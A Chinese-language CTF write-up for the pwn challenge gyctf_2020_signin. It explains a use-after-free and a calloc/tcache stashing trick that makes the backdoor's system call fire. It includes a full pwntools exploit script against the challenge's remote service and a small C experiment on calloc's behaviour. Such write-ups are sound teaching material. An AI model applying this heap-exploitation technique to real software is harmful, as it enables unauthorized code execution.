逆一下
add函数,注意bss段有heaparray之类的东西,然后可以申请九次,然后add的时候无法向chunk写入内容
delete函数,明显的UAF漏洞
edit函数,只能用一次
后门函数,ptr是bss段上的变量
一开始的思路是劫持got表,因为是ubuntu18并且有UAF,可以直接利用double free来申请到atoi@got,然后改atoi@got成后门函数即可getshell,但是这样的操作至少需要两次写入的功能,第一次改写free chunk的fd指针,第二次是改写got表项,所以无法完成,就gg了,看了wp,又学到了新姿势。
后门函数里的那个calloc很诡异,也没有指针来接受返回值,所以是可以被利用的
calloc分配堆块的时候,不会从tcache bin里取堆块
这意味着当我们calloc分配堆块时,假如tcache和fastbin都有堆块,那么calloc会从fastbin里去拿。在有tcache bin的情况下,从fastbin/smallbin里去取堆块,管理器就会将剩余的fastbin堆块链入到tcache bin中。
在文末写个实验来验证一下
所以我们可以这样利用:
1,申请8个chunk,然后全部free,这时fastbin 1,tcache 7
2,然后add一个堆块(malloc),这时fastbin 1,tcache 6
3,利用有且仅有一次的edit功能编辑fastbin堆块的fd指针为ptr-0x10(使ptr作为一个fake chunk的fd pointer):本质是利用了UAF漏洞(free的堆块依然可以edit)
4,调用后门函数,calloc会将fastbin里的唯一一个堆块分配出去,然后将fake chunk链入到tcache作为tcache[7],同时将fd设置为tcache[6]的address,这时fd不为空,即ptr不为空,可以调用system getshell
exp:
from pwn import *
import time
'''
author: lemon
time: 2020-10-27
libc: libc-2.23.so
python version:python2.7
'''
local = 0
binary = "./gyctf_2020_signin"
libc_path = '../libc-2.27.so'
port = "29848"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(index):
p.sendlineafter('your choice?','1')
p.sendlineafter('idx?',str(index))
def free(index):
p.sendlineafter('your choice?','3')
p.sendlineafter('idx?',str(index))
def edit(index,content):
p.sendlineafter('your choice?','2')
p.sendlineafter('idx?',str(index))
sleep(0.3)
p.send(content)
dbg()
elf = ELF(binary)
libc = ELF(libc_path)
atoi_got = elf.got['atoi']
heaparray = 0x4040E0
ptr = 0x4040C0
print "============ step 1: add 8 chunks and free 8 chunks ============"
print "[*] now tcache is full and fastbin[0x80] has 1 chunk "
for i in range(8):
add(i)
for i in range(8):
free(i)
print "[*] add 0x80 , because tcache is faster than fastbin, now tcache has 6 chunks now(alloca 1 chunk)"
add(8)
print "============ step 2: call backdoor to get shell ============== "
print "[*] now fastbin has one chunk,when we alloca fasbtin,then the fastbin chain will go to tcache bin"
edit(7,p64(ptr - 0x10))
sleep(1)
p.sendline('6')
# gdb.attach(p)
p.interactive()
实验来验证一下
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *p1,*p2,*p3,*p4,*p5,*p6,*p7,*p8;
printf("now we alloca 8 chunks , then we will free p1 - p8\n");
printf("then, p1-p7 will go tcache bin\n");
p1 = malloc(0x20);
p2 = malloc(0x20);
p3 = malloc(0x20);
p4 = malloc(0x20);
p5 = malloc(0x20);
p6 = malloc(0x20);
p7 = malloc(0x20);
p8 = malloc(0x20);
free(p1);
free(p2);
free(p3);
free(p4);
free(p5);
free(p6);
free(p7);
free(p8);
calloc(1,0x20);
}
查看此时bins的情况
最后calloc后,可以发现tcache bins依然是满的,说明calloc不会从tcache bin中去取chunk
参考我之前的博客的tcache bin attack,里面做了好几个实验
https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache